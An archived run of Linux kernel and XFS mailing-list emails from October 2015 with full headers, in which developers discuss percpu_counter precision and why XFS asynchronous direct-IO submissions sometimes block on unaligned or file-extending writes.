1444266591-04cb6c578b296f0001-NocioJ Received: from mail-pa0-f50.google.com (mail-pa0-f50.google.com [209.85.220.50]) by cuda.sgi.com with ESMTP id rHJ2bhuAMchb2xcH (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 07 Oct 2015 18:09:51 -0700 (PDT) X-Barracuda-Envelope-From: htejun@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.50 Received: by pacfv12 with SMTP id fv12so37730184pac.2 for ; Wed, 07 Oct 2015 18:09:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=cbCL/brhBz7SHqhmp4afv3fhRyWNPH9zML+3PyXzucI=; b=JIMATKEPOxrPJYWhg4J2/t9Znkbq5LN9isJ+zK/JLx0kvFf37l+P36F97vs5Pe4ESA S7gT/8UNEDw+sqlK+ArHJBxFknFjWYWO2Uww3e3Aetg1MWsn8aW/yp8b+TUVOX32EVVl xFMgDuXUm3h+9WdpiIyUyYPrwcyNGqEPKW585vpdW8M2ynDZwu6BvUoBjmE1h/DgxoUs AkGtS7SKXQjTTOvfKUl2RMmV4fGTXXAsedUrQGZC8jDSA9Jl4upl817Sw/7MZI22gjOn 3zj3dYftB19CK0chEe8kW/e8BDTHCOfhXrXeg2gUQPq1PA7ltybyXgVS3BDZsxL1LZHE BazA== X-Received: by 10.68.69.17 with SMTP id a17mr4678678pbu.10.1444266590917; Wed, 07 Oct 2015 18:09:50 -0700 (PDT) Received: from mtj.duckdns.org ([2620:10d:c090:200::9:1cd9]) by smtp.gmail.com with ESMTPSA id ux7sm41976301pac.10.2015.10.07.18.09.48 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 07 Oct 2015 18:09:49 -0700 (PDT) Sender: Tejun Heo Date: Wed, 7 Oct 2015 18:09:47 -0700 From: Tejun Heo To: Dave Chinner Cc: Waiman Long , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151008010947.GB21142@mtj.duckdns.org> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> <20151006213023.GP27164@dastard> <561579EA.60507@hpe.com> <20151007230441.GG32150@dastard> <20151007232010.GA21142@mtj.duckdns.org> <20151008010218.GT27164@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151008010218.GT27164@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mail-pa0-f50.google.com[209.85.220.50] X-Barracuda-Start-Time: 1444266591 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello, Dave. On Thu, Oct 08, 2015 at 12:02:18PM +1100, Dave Chinner wrote: > > percpu cmpxchg is no different from sub or any other operations > > regarding cross-CPU synchronization. They're safe iff the operations > > are on the local CPU. They have to be made atomics if they need to be > > manipulated from remote CPUs. > > Again, another trivially solvable problem, but still irrelevant > because we don't have the data that tells us whether changing the > counter behaviour solves the problem.... Dude, it isn't trivially solvable. You either can't do it or have to pay the overhead during local access to get around it. > > That said, while we can't manipulate the percpu counters directly, we > > can add a separate global counter to cache sum result from the > > previous run which gets automatically invalidated when any percpu > > counter overflows. > > > > That should give better and in case of > > back-to-back invocations pretty good precision compared to just > > returning the global overflow counter. Interface-wise, that'd be a > > lot easier to deal with although I have no idea whether it'd fit this > > particular use case or whether this use case even exists. > > No, it doesn't help - it's effectively what Waiman's original patch > did by returning the count from the initial comparison and using > that for ENOSPC detection instead of doing a second comparison... Just chipping in purely from percpu side. If what Waiman suggested is something useable, caching the result inside percpu_counter would be a better interface. If not, no idea. Thanks. -- tejun From david@fromorbit.com Wed Oct 7 23:28:38 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BE1D37F37 for ; Wed, 7 Oct 2015 23:28:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B030D304039 for ; Wed, 7 Oct 2015 21:28:38 -0700 (PDT) X-ASG-Debug-ID: 1444278515-04cb6c57862df30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id YSDIVgyZfA027gKc for ; Wed, 07 Oct 2015 21:28:35 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2ByDgB17xVWPI9ELHlegyeBQoJdg36iGQaLGIsjgxOCCmYTAgIBAQKBPU0BAQEBAQEHAQEBAUABP4QnAQEEJxMcIxAIAxQECSUPBSUDBxoTiC3CXQEBAQcCAR8ZhhOFRYUNB4QuBZYFjQ+bf4R5KjOHbAEBAQ Received: from ppp121-44-68-143.lns20.syd4.internode.on.net (HELO dastard) ([121.44.68.143]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Oct 2015 14:58:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1Zk2oi-0005je-28; Thu, 08 Oct 2015 15:28:32 +1100 Date: Thu, 8 Oct 2015 15:28:32 +1100 From: Dave Chinner To: Avi Kivity Cc: Eric Sandeen , Brian Foster , xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151008042831.GU27164@dastard> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561560B2.1080902@scylladb.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444278515 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23294 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 07, 2015 at 09:13:06PM +0300, Avi Kivity wrote: > On 07/10/15 18:13, Eric Sandeen wrote: > > > >On 10/7/15 10:08 AM, Brian Foster wrote: > >>On Wed, Oct 07, 2015 at 09:24:15AM -0500, Eric Sandeen wrote: > >>> > >>>On 10/7/15 9:18 AM, Gleb Natapov wrote: > >>>>Hello XFS developers, > >>>> > >>>>We are working on scylladb[1] database which is written using seastar[2] > >>>>- highly asynchronous C++ framework. The code uses aio heavily: no > >>>>synchronous operation is allowed at all by the framework otherwise > >>>>performance drops drastically. We noticed that the only mainstream FS > >>>>in Linux that takes aio seriously is XFS. So let me start by thanking > >>>>you guys for the great work! But unfortunately we also noticed that > >>>>sometimes io_submit() is executed synchronously even on XFS. > >>>> > >>>>Looking at the code I see two cases when this is happening: unaligned > >>>>IO and write past EOF. It looks like we hit both. For the first one we > >>>>make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO > >>>>to figure out what alignment should be, but it does not help. Looking at the > >>>>code though xfs_file_dio_aio_write() checks alignment against m_blockmask which > >>>>is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to > >>>>filesystem block size not values that DIOINFO returns. Is it intentional? How > >>>>should our code know what it should align buffers to? > >>> /* "unaligned" here means not aligned to a filesystem block */ > >>> if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) > >>> unaligned_io = 1; > >>> > >>>It should be aligned to the filesystem block size. > >>> > >>I'm not sure exactly what kinds of races are opened if the above locking > >>were absent, but I'd guess it's related to the buffer/block state > >>management, block zeroing and whatnot that is buried in the depths of > >>the generic dio code. > >Yep: > > > >commit eda77982729b7170bdc9e8855f0682edf322d277 > >Author: Dave Chinner > >Date: Tue Jan 11 10:22:40 2011 +1100 > > > > xfs: serialise unaligned direct IOs [...] > >I fixed something similar in ext4 at the time, FWIW. > > Makes sense. > > Is there a way to relax this for reads? The above mostly only applies to writes. Reads don't modify data so racing unaligned reads against other reads won't given unexpected results and so aren't serialised. i.e. serialisation will only occur when: - unaligned write IO will serialise until sub-block zeroing is complete. - write IO extending EOF will serialis until post-EOF zeroing is complete - cached pages are found on the inode (i.e. mixing buffered/mmap access with direct IO). - truncate/extent manipulation syscall is run All other DIO will be issued and run concurrently, reads and writes. Realistically, if you are care about performance (which obviously you are) then you do not do unaligned IO, and you try hard to minimise operations that extend the file... Cheers, Dave. -- Dave Chinner david@fromorbit.com From avi@cloudius-systems.com Thu Oct 8 00:22:14 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E30747F37 for ; Thu, 8 Oct 2015 00:22:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 617A2AC00A for ; Wed, 7 Oct 2015 22:22:10 -0700 (PDT) X-ASG-Debug-ID: 1444281727-04cb6c57852ef70001-NocioJ Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175]) by cuda.sgi.com with ESMTP id DqNNVrTwM4q8gpjC (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 07 Oct 2015 22:22:08 -0700 (PDT) X-Barracuda-Envelope-From: avi@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.175 Received: by wicgb1 with SMTP id gb1so8763187wic.1 for ; Wed, 07 Oct 2015 22:22:07 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:to:references:cc:from:message-id:date :user-agent:mime-version:in-reply-to:content-type :content-transfer-encoding; bh=ewPaH/NNYC/WQFiA/A4Bn/iG0Xvy8QakRUEAKzLquFE=; b=JPVkCIuVHjJeZf7CAgWZ8YlbW0fkUapssCBFOifUuoJHQgbcXuuomBeHRebpYCAU2k 6a5gYRf4ufsbtJGltdJvwKVjIMtIK0qOmxM1j+IH5bYBDwKmWOhRr5jHEyUJtzqn/yTW HSdbCJsXcUqh7yxZfksWfc1M/ercOHyAK7fLgL+dXYlI0877gn9MnbEklRxZnblTktR4 K/4r5Pbr7YwfyX6RGQve6Xttwkzm/zSQ1QEVN7pXGRqYePgp0QMXga3xd8ATgWFES2D7 zwWhI4mAp3f6rHe0MrEKu8PYY1WIOLhGsJYdn92Um35soChSL+Y1FU4YC4kj1YxDjmq7 cASQ== X-Gm-Message-State: ALoCoQnopACSKBHtjyINsua6mThqr2LtmQGf1exO8Nma/s3NXH4CKCggyDhUd//J84nfGZdPu/f7 X-Received: by 10.180.108.110 with SMTP id hj14mr1646520wib.39.1444281727023; Wed, 07 Oct 2015 22:22:07 -0700 (PDT) Received: from [10.0.0.5] (bzq-109-64-134-34.red.bezeqint.net. [109.64.134.34]) by smtp.gmail.com with ESMTPSA id m9sm5515938wib.13.2015.10.07.22.22.04 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 07 Oct 2015 22:22:04 -0700 (PDT) Subject: Re: Question about non asynchronous aio calls. To: Dave Chinner X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> Cc: Eric Sandeen , Brian Foster , xfs@oss.sgi.com From: Avi Kivity Message-ID: <5615FD76.1090309@scylladb.com> Date: Thu, 8 Oct 2015 08:21:58 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151008042831.GU27164@dastard> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wi0-f175.google.com[209.85.212.175] X-Barracuda-Start-Time: 1444281728 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23295 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 08/10/15 07:28, Dave Chinner wrote: > On Wed, Oct 07, 2015 at 09:13:06PM +0300, Avi Kivity wrote: >> On 07/10/15 18:13, Eric Sandeen wrote: >>> On 10/7/15 10:08 AM, Brian Foster wrote: >>>> On Wed, Oct 07, 2015 at 09:24:15AM -0500, Eric Sandeen wrote: >>>>> On 10/7/15 9:18 AM, Gleb Natapov wrote: >>>>>> Hello XFS developers, >>>>>> >>>>>> We are working on scylladb[1] database which is written using seastar[2] >>>>>> - highly asynchronous C++ framework. The code uses aio heavily: no >>>>>> synchronous operation is allowed at all by the framework otherwise >>>>>> performance drops drastically. We noticed that the only mainstream FS >>>>>> in Linux that takes aio seriously is XFS. So let me start by thanking >>>>>> you guys for the great work! But unfortunately we also noticed that >>>>>> sometimes io_submit() is executed synchronously even on XFS. >>>>>> >>>>>> Looking at the code I see two cases when this is happening: unaligned >>>>>> IO and write past EOF. It looks like we hit both. For the first one we >>>>>> make special afford to never issue unaligned IO and we use XFS_IOC_DIOINFO >>>>>> to figure out what alignment should be, but it does not help. Looking at the >>>>>> code though xfs_file_dio_aio_write() checks alignment against m_blockmask which >>>>>> is set to be sbp->sb_blocksize - 1, so aio expects buffer to be aligned to >>>>>> filesystem block size not values that DIOINFO returns. Is it intentional? How >>>>>> should our code know what it should align buffers to? >>>>> /* "unaligned" here means not aligned to a filesystem block */ >>>>> if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) >>>>> unaligned_io = 1; >>>>> >>>>> It should be aligned to the filesystem block size. >>>>> >>>> I'm not sure exactly what kinds of races are opened if the above locking >>>> were absent, but I'd guess it's related to the buffer/block state >>>> management, block zeroing and whatnot that is buried in the depths of >>>> the generic dio code. >>> Yep: >>> >>> commit eda77982729b7170bdc9e8855f0682edf322d277 >>> Author: Dave Chinner >>> Date: Tue Jan 11 10:22:40 2011 +1100 >>> >>> xfs: serialise unaligned direct IOs > [...] > >>> I fixed something similar in ext4 at the time, FWIW. >> Makes sense. >> >> Is there a way to relax this for reads? > The above mostly only applies to writes. Reads don't modify data so > racing unaligned reads against other reads won't given unexpected > results and so aren't serialised. > > i.e. serialisation will only occur when: > - unaligned write IO will serialise until sub-block zeroing > is complete. > - write IO extending EOF will serialis until post-EOF > zeroing is complete By "complete" here, do you mean that a call to truncate() returned, or that its results reached the disk an unknown time later? i could, immediately after truncating the file, extend it to a very large size, and truncate it back just before the final fsync/close sequence. This has downsides from the viewpoint of user support (why is the file so large after a crash, what happens with backups) but is better than nothing. > - cached pages are found on the inode (i.e. mixing > buffered/mmap access with direct IO). We don't do that. > - truncate/extent manipulation syscall is run Actually, we do call fallocate() ahead of io_submit() (in a worker thread, in non-overlapping ranges) to optimize file layout and also in the belief that it would reduce the amount of blocking io_submit() does. Should we serialize the fallocate() calls vs. io_submit() (on the same file)? Were those fallocates a good idea in the first place? > All other DIO will be issued and run concurrently, reads and writes. > > Realistically, if you are care about performance (which obviously > you are) then you do not do unaligned IO, and you try hard to > minimise operations that extend the file... On SSDs, if you care about performance you avoid random writes, which cause write amplification. So you do have to extend the file, unless you know its size in advance, which we don't. Also, does "extend the file" here mean just the size, or extent allocation as well? A final point is discoverability. There is no way to discover safe alignment for reads and writes, and which operations block io_submit(), except by asking here, which cannot be done at runtime. Interfaces that provide a way to query these attributes are very important to us. From gleb@cloudius-systems.com Thu Oct 8 03:23:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93E397F37 for ; Thu, 8 Oct 2015 03:23:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 20755AC00F for ; Thu, 8 Oct 2015 01:23:13 -0700 (PDT) X-ASG-Debug-ID: 1444292590-04cbb03f15347e0001-NocioJ Received: from mail-wi0-f177.google.com (mail-wi0-f177.google.com [209.85.212.177]) by cuda.sgi.com with ESMTP id Pa6CQlwA85bIqm29 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 08 Oct 2015 01:23:11 -0700 (PDT) X-Barracuda-Envelope-From: gleb@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.177 Received: by wicfx3 with SMTP id fx3so13916339wic.0 for ; Thu, 08 Oct 2015 01:23:10 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to; bh=u5zo2X4UzOiKGU+fGEfxE/VEJSK85uc6LKi+FNF5jyg=; b=PtlKRG8WP9Mi8DFpdHG/ScHy1K9Ohr32O8L7fdG+6HjXzQEKoqIOY0rP1+rUoZ/KAr /hsmTwCOJVaryngo5jvFMlByt00pkRxO1aNWAfJC13wvvHCdUM7qbvMOzPpDDmssj+TA D/ScogCeZPhXhopgpG1kZ8GnZ4iIDuwG/h7eEKw7//UVvjVP0cTQ8ToXCCoA2XjUO/b2 L1hf+Zs1Vi0ZjZV+d2dSooKH3cIGV7R42DUSZNwMpcdMSSyGvl5Kh93ZpRY69p0ipQAb zGneRVJH88cEwOfZQLuv29eWtNTklttI/Ee7RHEoEa0447G3bKY4M3/awfNVTxGn9bvi 3bag== X-Gm-Message-State: ALoCoQn8AdLFbKVufKQHJKCNz2pDww0HHI8C+d0Bo6ux59GwSsvlTV3PPtt5+r3rUeGJ8Q/QE9cM X-Received: by 10.180.39.175 with SMTP id q15mr2509134wik.73.1444292590470; Thu, 08 Oct 2015 01:23:10 -0700 (PDT) Received: from trex.cloudius-systems.com ([37.142.229.250]) by smtp.gmail.com with ESMTPSA id o3sm6147359wif.22.2015.10.08.01.23.09 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 08 Oct 2015 01:23:09 -0700 (PDT) Received: by trex.cloudius-systems.com (Postfix, from userid 1042) id B166783F52; Thu, 8 Oct 2015 11:23:07 +0300 (IDT) Date: Thu, 8 Oct 2015 11:23:07 +0300 From: Gleb Natapov To: Avi Kivity Cc: Dave Chinner , Eric Sandeen , Brian Foster , xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151008082307.GE11716@scylladb.com> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> <56153685.3040401@sandeen.net> <561560B2.1080902@scylladb.com> <20151008042831.GU27164@dastard> <5615FD76.1090309@scylladb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5615FD76.1090309@scylladb.com> X-Barracuda-Connect: mail-wi0-f177.google.com[209.85.212.177] X-Barracuda-Start-Time: 1444292591 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23299 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain On Thu, Oct 08, 2015 at 08:21:58AM +0300, Avi Kivity wrote: > >>>I fixed something similar in ext4 at the time, FWIW. > >>Makes sense. > >> > >>Is there a way to relax this for reads? > >The above mostly only applies to writes. Reads don't modify data so > >racing unaligned reads against other reads won't given unexpected > >results and so aren't serialised. > > > >i.e. serialisation will only occur when: > > - unaligned write IO will serialise until sub-block zeroing > > is complete. > > - write IO extending EOF will serialis until post-EOF > > zeroing is complete > > > By "complete" here, do you mean that a call to truncate() returned, or that > its results reached the disk an unknown time later? > I think Brian already answered that one with: There are no such pitfalls as far as I'm aware. The entire AIO submission synchronization sequence triggers off an in-memory i_size check in xfs_file_aio_write_checks(). The in-memory i_size is updated in the truncate path (xfs_setattr_size()) via truncate_setsize(), so at that point the new size should be visible to subsequent AIO writers. > i could, immediately after truncating the file, extend it to a very large > size, and truncate it back just before the final fsync/close sequence. This > has downsides from the viewpoint of user support (why is the file so large > after a crash, what happens with backups) but is better than nothing. > > > - cached pages are found on the inode (i.e. mixing > > buffered/mmap access with direct IO). > > We don't do that. > > > - truncate/extent manipulation syscall is run > > Actually, we do call fallocate() ahead of io_submit() (in a worker thread, > in non-overlapping ranges) to optimize file layout and also in the belief > that it would reduce the amount of blocking io_submit() does. > > Should we serialize the fallocate() calls vs. io_submit() (on the same > file)? Were those fallocates a good idea in the first place? > > >All other DIO will be issued and run concurrently, reads and writes. > > > >Realistically, if you are care about performance (which obviously > >you are) then you do not do unaligned IO, and you try hard to > >minimise operations that extend the file... > > On SSDs, if you care about performance you avoid random writes, which cause > write amplification. So you do have to extend the file, unless you know its > size in advance, which we don't. > > Also, does "extend the file" here mean just the size, or extent allocation > as well? > > A final point is discoverability. There is no way to discover safe > alignment for reads and writes, and which operations block io_submit(), > except by asking here, which cannot be done at runtime. Interfaces that > provide a way to query these attributes are very important to us. As Brian pointed statfs() can be use to get f_bsize which is defined as "optimal transfer block size". -- Gleb. From gleb@cloudius-systems.com Thu Oct 8 03:34:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4395A7F3F for ; Thu, 8 Oct 2015 03:34:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1BD2A304032 for ; Thu, 8 Oct 2015 01:34:55 -0700 (PDT) X-ASG-Debug-ID: 1444293292-04bdf020da361b0001-NocioJ Received: from mail-wi0-f169.google.com (mail-wi0-f169.google.com [209.85.212.169]) by cuda.sgi.com with ESMTP id tR0pmyI4z58RH0yH (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 08 Oct 2015 01:34:53 -0700 (PDT) X-Barracuda-Envelope-From: gleb@cloudius-systems.com X-Barracuda-Apparent-Source-IP: 209.85.212.169 Received: by wiclk2 with SMTP id lk2so17455281wic.0 for ; Thu, 08 Oct 2015 01:34:52 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to; bh=Vn5hlcTwGIqPkrLXNDyjG+i3ztpFdxgQVEO5yQgQu2k=; b=TV32Oj4K+9Y4JC9w/x/1wY0vBCwtl0dq/0osvwjm9cVLieJh9yPVi3OWyfJ+N9rSuN 3Laju/t2KMa8+cB9VFegAvqxcvQJUGPy/mM+sYJMaMUOEagXK2WnonblUqlHQ4KytUtE fPnSjJdq7gKQfAjjS6+PswZECTokyfDFFP9Cs5mFqR0WiwjTAwS2QF37Eo0hO1fnh+ei 3E6VhUBXi2JcP/MJnm7Hv0S/pfe7mXlE3olaP8gJf+F/hLu7YsLL4CsG7GcL8/UW0KQZ qCXu+5GeRtsowl0IMBdTsOcEl6GD6jsGH2jgvf4Q9sUIvUHh7pc4j8gf0IKlXa0eWxtz UhNg== X-Gm-Message-State: ALoCoQmTFoDcnQuWnqgyJDAIsB7D3PstqK0NBg5tRTe4erpCesaqXZoAcwoupPiHJSm2E+lIfNui X-Received: by 10.195.13.14 with SMTP id eu14mr6401737wjd.9.1444293292252; Thu, 08 Oct 2015 01:34:52 -0700 (PDT) Received: from trex.cloudius-systems.com ([37.142.229.250]) by smtp.gmail.com with ESMTPSA id s1sm6193660wik.16.2015.10.08.01.34.51 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 08 Oct 2015 01:34:51 -0700 (PDT) Received: by trex.cloudius-systems.com (Postfix, from userid 1042) id 87A4783F52; Thu, 8 Oct 2015 11:34:49 +0300 (IDT) Date: Thu, 8 Oct 2015 11:34:49 +0300 From: Gleb Natapov To: Brian Foster Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: Question about non asynchronous aio calls. Message-ID: <20151008083449.GF11716@scylladb.com> X-ASG-Orig-Subj: Re: Question about non asynchronous aio calls. References: <20151007141833.GB11716@scylladb.com> <56152B0F.2040809@sandeen.net> <20151007150833.GB30191@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007150833.GB30191@bfoster.bfoster> X-Barracuda-Connect: mail-wi0-f169.google.com[209.85.212.169] X-Barracuda-Start-Time: 1444293293 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23299 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Oct 07, 2015 at 11:08:34AM -0400, Brian Foster wrote: > > > Second one is harder. We do need to write past the end of a file, actually > > > most of our writes are like that, so it would have been great for XFS to > > > handle this case asynchronously. > > > > You didn't say what kernel you're on, but these: > > > > 9862f62 xfs: allow appending aio writes > > 7b7a866 direct-io: Implement generic deferred AIO completions > > > > hit kernel v3.15. > > > > However, we had a bug report about this, and Brian has sent a fix > > which has not yet been merged, see: > > > > [PATCH 1/2] xfs: always drain dio before extending aio write submission > > > > on this list last week. > > > > With those 3 patches, things should just work for you I think. > > > > These fix some problems in that code, but the "beyond EOF" submission is > still synchronous in nature by virtue of cycling the IOLOCK and draining > pending dio. This is required to check for EOF zeroing, and we can't do > that safely without a stable i_size. > > Note that according to the commit Eric referenced above, ordering your > I/O to always append (rather than start at some point beyond the current > EOF) might be another option to avoid the synchronization here. Whether > that is an option is specific to your application, of course. > 